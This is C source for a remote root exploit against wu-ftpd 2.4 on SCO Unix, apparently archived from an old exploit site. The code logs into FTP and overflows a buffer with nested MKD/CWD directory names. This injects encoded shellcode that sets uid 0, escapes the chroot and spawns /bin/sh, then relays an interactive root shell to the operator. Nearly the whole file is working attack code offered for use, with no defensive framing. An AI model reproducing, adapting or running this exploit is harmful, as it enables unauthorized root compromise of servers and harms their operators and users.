/*
 * !!!! Private do not distribute !!!!
 *
 * wu30.c -> Remote root exploit for wu-ftpd on SCO unix
 *
 * Offset/Version:
 * wu-2.4(15) => 0
 * 
 * Usage:
 * -> Anonymous login: wu30 1.1.1.1 /incoming
 * -> Non anonymous: wu30 1.1.1.1 /tmp -l pepe pepe
 * (Ensure the path is complete from the root directory)
 *
 * By: The Dark Raver (Spain - 21/9/1999)
 * Based on: ADMwuftpd.c from duke
 *
 * Finally the fucking chroot breaker shellcode work! ;)
 *
 * Thanks to: funkysh, axess, fatuo and all coders who help me to code this.
 *
 * Death to: The lamer from ircnet who publish my proftpd remote exploit!!!
 *
 */
 
#include        <stdio.h>
#include        <stdlib.h>
#include        <sys/time.h>
#include        <sys/types.h>
#include        <unistd.h>
#include        <sys/socket.h>
#include        <netinet/in.h>
#include        <netdb.h>
#include        <sys/errno.h>

#define RET 0x8046388
#define ALIN 2

void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
int alinea=ALIN;

char shellcode[]=
"\x90\x90\x90\x90\x90"
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx

// decode

"\xeb\x12" // jmp A
"\x5e" // B: popl %esi
"\xbf\x10\x10\x10\x10" // movl 0x10101010,%edi
"\xb1\x21" // movb 33,%cl
"\x29\x7e\x01" // subl %edi,01(%esi)
"\x83\xc6\x04" // addl 4,%esi
"\xe2\xf8" // loop
"\xeb\x05" // jmp +5
"\xe8\xe9\xff\xff\xff" // A: call B
"\x90"

"\xfb\x5d" // start: jmp uno 
"\x6e" // dos: popl %esi

// setuid(0)

"\x41\xd0" // xorl %eax,%eax
"\xc0\x27" // movb $0x17,%al
"\x63" // pushl %ebx
"\x63"
"\xaa\x10\x10\x10\x10\x17\x10"

// mkdir("sh")

"\x41\xd0" // xorl %eax,%eax
"\xc0\x60" // movb $0x50,%al
"\x9d\x8e\x15" // leal 5(%esi),%edi
"\x67" // pushl %edi
"\x67"
"\xaa\x10\x10\x10\x10\x17\x10"

// chroot("sh")

"\x41\xd0" // xorl %eax,%eax
"\xc0\x4d" // movb $03d,%al
"\x9d\x8e\x15" // leal 5(%esi),%edi
"\x67" // pushl %edi
"\x67"
"\xaa\x10\x10\x10\x10\x17\x10"

// chroot("../../../../../../../../../../../../");

"\x41\xd0" // xorl %eax,%eax
"\xc0\x4d" // movb $0x3d,%al
"\x9d\x8e\x18" // leal 8(%esi),%edi
"\x67" // pushl %edi
"\x67"
"\xaa\x10\x10\x10\x10\x17\x10"

// execve("/bin/sh",0,0);

"\x41\xd0" // xorl %eax,%eax
"\xc0\x4b" // movb $0x3b,%al
"\x63" // pushl %ebx
"\x63" // pushl %ebx 
"\x66" // pushl %esi
"\x66" // pushl %esi
"\xaa\x10\x10\x10\x10\x17\x10" // lcall 0x7,0x0

"\xf8\xbe\x0f\x10\x10" // uno: call dos

// strings

"\x3f\x72\x79\x7e\x3f" // "/bin/" // 0(%esi)
"\x83\x78\x10" // "sh\x10"  // 5(%esi)
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f"
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f"
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f"
"\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f\x10" 
// "../../../../../../../../../../../../\x10" // 8(%esi)
""; //        
    
#define LEN1 400     
                       
char tmp[256];
char name[128], pass[128];

int sockfd;
struct hostent *hp;

int main(int argc, char **argv)
{
        char sendln[1024], recvln[4048], buf1[LEN1], buf2[1000];
        char *p, *q;
        int len, offset = 0, i;
        struct sockaddr_in cli;

        if(argc < 3){
                printf("usage: wu30 <host> <dir> [-l name pass] [align]\n");
                exit(0);
        }
        if(argc >= 4){
                if(strcmp(argv[3], "-l") == 0){
                        strncpy(name, argv[4], 128);
                        strncpy(pass, argv[5], 128);
                } else {
                        offset = atoi(argv[3]); }
                if(argc == 7)
                        offset = atoi(argv[6]); }
                
        if(name[0] == 0 && pass[0] == 0){
                strcpy(name, "anonymous");
                strcpy(pass, "hi@blahblah.net"); }

        bzero(&cli, sizeof(cli));
        bzero(recvln, sizeof(recvln));
        bzero(sendln, sizeof(sendln));

          if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
                    perror("gethostbyname()");
                    exit(0); }

        cli.sin_family = AF_INET;
        cli.sin_port = htons(21);
        memcpy((char *)&cli.sin_addr,(char *)hp->h_addr,hp->h_length);
    
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                exit(0); }
        
	printf("WU30 by TDR\n");

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                perror("connect");
                exit(0); }
                
                getchar();
                
        while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
                recvln[len] = '\0';
                if(strchr(recvln, '\n') != NULL)
                        break; }
                        
        logintoftp(sockfd);
        printf("logged in.\n");
        bzero(sendln, sizeof(sendln));

        for(i=0; i<996; i+=4)
                *(long *)&buf2[i] = RET + offset;
        memset(buf1, 0x90, LEN1);
        memcpy(buf1, argv[2], strlen(argv[2]));
        mkd(argv[2]);
        p = &buf1[strlen(argv[2])];
        q = &buf1[LEN1-1];
        *q = '\x0';
        while(p <= q){
                strncpy(tmp, p, 200);
                mkd(tmp);
                p+=200;
        }
        mkd(shellcode);
        p = &buf2[0];
        q = &buf2[999];
        while(p <= q){
                strncpy(tmp+alinea, p, 250);
                mkd(tmp);
                p+=250;
        }
        sh(sockfd);


        close(sockfd);
        printf("finit.\n");
}

void mkd(char *dir)
{
        char snd[512], rcv[1024];
        char blah[1024], *p;
        int n;
        
        bzero(blah, sizeof(blah));
        p = blah;
         for(n=0; n<strlen(dir); n++){
                if(dir[n] == '\xff'){
                        *p = '\xff';
                        p++;
                }
                *p = dir[n];
                p++;
        }
        sprintf(snd, "MKD %s\r\n", blah);
        write(sockfd, snd, strlen(snd));
        bzero(snd, sizeof(snd));
        sprintf(snd, "CWD %s\r\n", blah);
        write(sockfd, snd, strlen(snd));
        bzero(rcv, sizeof(rcv));
        while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }
        return;
}

void logintoftp()
{
        char snd[1024], rcv[1024];
        int n;

        printf("logging in with %s: %s\n", name, pass);
        memset(snd, '\0', 1024);
        sprintf(snd, "USER %s\r\n", name);
        write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }

        memset(snd, '\0', 1024);
        sprintf(snd, "PASS %s\r\n", pass);
        write(sockfd, snd, strlen(snd));

        while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                rcv[n] = 0;
                if(strchr(rcv, '\n') != NULL)
                        break;
        }
        return;
}

void sh()
{
        char snd[1024], rcv[1024];
        fd_set rset;
        int maxfd, n;

        strcpy(snd, "cd /; uname -a; pwd; id;\n");
        write(sockfd, snd, strlen(snd));

        for(;;){
                FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = max(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){
                        bzero(snd, sizeof(snd));
                        fgets(snd, sizeof(snd)-2, stdin);
                        write(sockfd, snd, strlen(snd));
                }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(rcv, sizeof(rcv));
                        if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                                printf("EOF.\n");
                                exit(0);
                        }
                        if(n < 0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(rcv, stdout);
                }
        }
}

int max(int x, int y)
{
        if(x > y)
                return(x);
        return(y);
}
/*                   www.hack.co.za   [27 September 2000]*/